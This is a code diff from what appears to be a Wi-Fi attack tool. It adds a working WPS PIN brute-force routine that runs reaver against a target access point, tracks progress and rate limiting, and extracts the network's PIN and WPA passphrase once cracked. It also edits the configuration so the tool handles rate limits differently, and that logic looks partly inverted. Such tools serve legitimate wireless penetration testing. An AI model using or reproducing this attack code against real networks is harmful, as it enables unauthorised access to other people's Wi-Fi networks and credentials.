diff --git a/py/AttackWPS.py b/py/AttackWPS.py index c161a06..7a896a7 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -162,6 +162,111 @@ class AttackWPS(Attack): return False + def run_wps_pin_attack(self): + # Write reaver stdout to file. + self.stdout_file = Configuration.temp('reaver.out') + if os.path.exists(self.stdout_file): + os.remove(self.stdout_file) + stdout_write = open(self.stdout_file, 'a') + + # Start reaver process + command = [ + 'reaver', + '-i', Configuration.interface, + '-b', self.target.bssid, + '-c', self.target.channel, + '-a', # Automatically restart session + '-v' # verbose + ] + reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) + + self.success = False + pin_current = 0 + pin_total = 11000 + failures = 0 + state = 'initializing' + + while True: + time.sleep(1) + Color.clear_line() + Color.p('\r{+} {C}WPS PIN attack{W} ') + Color.p('({G}%d{W}/{G}%d{W}, ' % (pin_current, pin_total)) + Color.p('{R}%d/%d failed{W}) ' % (failures, \ + Configuration.wps_fail_threshold)) + + # Get output + out = self.get_stdout() + + # Clear output file + f = open(self.stdout_file, 'w') + f.write('') + f.close() + + (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) + if pin and psk and ssid: + # We cracked it. + self.success = True + self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + self.crack_result.dump() + break + # Look for progress + match = None + for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): + pass + if match: + groups = match.groups() + pin_current = int(groups[0]) + pin_total = int(groups[1]) + failures = 0 + + # Failures + failures += out.count('WPS transaction failed') + + # Status + if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' + if 'Starting Cracking Session' in out: state = '{C}cracking{W}' + if 'Detected AP rate limiting' in out: + state = '{R}rate-limited{W}' + if not Configuration.wps_skip_rate_limit: + Color.pl(state) + Color.pl('{!} {R}hit rate limit, stopping{W}\n') + break + + match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + + # Check if process is still running + if reaver.pid.poll() != None: + Color.pl('{R}failed{W}') + Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') + self.success = False + break + + # Output the current state + Color.p(state) + + ''' + [+] Waiting for beacon from AA:BB:CC:DD:EE:FF + [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) + [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 + [+] Trying pin 12345670. + [+] Pin count advanced: 46. Max pin attempts: 11000 + [!] WPS transaction failed (code: 0x02), re-trying last pin + [!] WPS transaction failed (code: 0x03), re-trying last pin + [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) + [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking + [!] WARNING: 25 successive start failures + [+] 0.55% complete. Elapsed time: 0d0h2m21s. + [+] Estimated Remaining time: 0d15h11m35s + ''' + + reaver.interrupt() + + return self.success + + @staticmethod def get_pin_psk_ssid(stdout): ''' Parses WPS PIN, PSK, and SSID from output ''' @@ -189,11 +294,6 @@ class AttackWPS(Attack): return (pin, psk, ssid) - - def run_wps_pin_attack(self): - # TODO Implement - return False - def get_stdout(self): ''' Gets output from stdout_file ''' if not self.stdout_file: diff --git a/py/Configuration.py b/py/Configuration.py index b903c05..cd1d557 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -72,7 +72,7 @@ class Configuration(object): Configuration.wps_max_retries = 20 # Retries before failing Configuration.wps_fail_threshold = 30 # Max number of failures Configuration.wps_timeout_threshold = 30 # Max number of timeouts - Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs + Configuration.wps_skip_rate_limit = False # Skip rate-limited WPS APs # Commands Configuration.show_cracked = False @@ -162,13 +162,13 @@ class Configuration(object): Configuration.wps_filter = args.wps_filter if args.reaver_only: Configuration.reaver_only = args.reaver_only - Color.pl('{+} {C}option:{W} will *only* use {G}reaver{W} to attack WPA targets' % args.reaver_only) + Color.pl('{+} {C}option:{W} will *only* use {G}reaver{W} to attack WPA targets') if args.no_reaver: Configuration.no_reaver = args.no_reaver - Color.pl('{+} {C}option:{W} will *never* use {G}reaver{W} to attack WPA targets' % args.no_reaver) + Color.pl('{+} {C}option:{W} will *never* use {G}reaver{W} to attack WPA targets') if args.pixie_only: Configuration.pixie_only = args.pixie_only - Color.pl('{+} {C}option:{W} will only use {G}WPS pixie-dust attack{W} on WPS targets' % args.pixie_only) + Color.pl('{+} {C}option:{W} will only use {G}WPS pixie-dust attack{W} on WPS targets') if args.wps_pixie_timeout: Configuration.wps_pixie_timeout = args.wps_pixie_timeout Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) @@ -185,8 +185,7 @@ class Configuration(object): Configuration.wps_timeout_threshold = args.wps_timeout_threshold Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold) if args.wps_ignore_rate_limit: - Configuration.wps_skip_rate_limit = not args.wps_ignore_rate_limit - else: + Configuration.wps_skip_rate_limit = True Color.pl('{+} {C}option:{W} will {G}NOT{W} ignore WPS rate limits') # Adjust encryption filter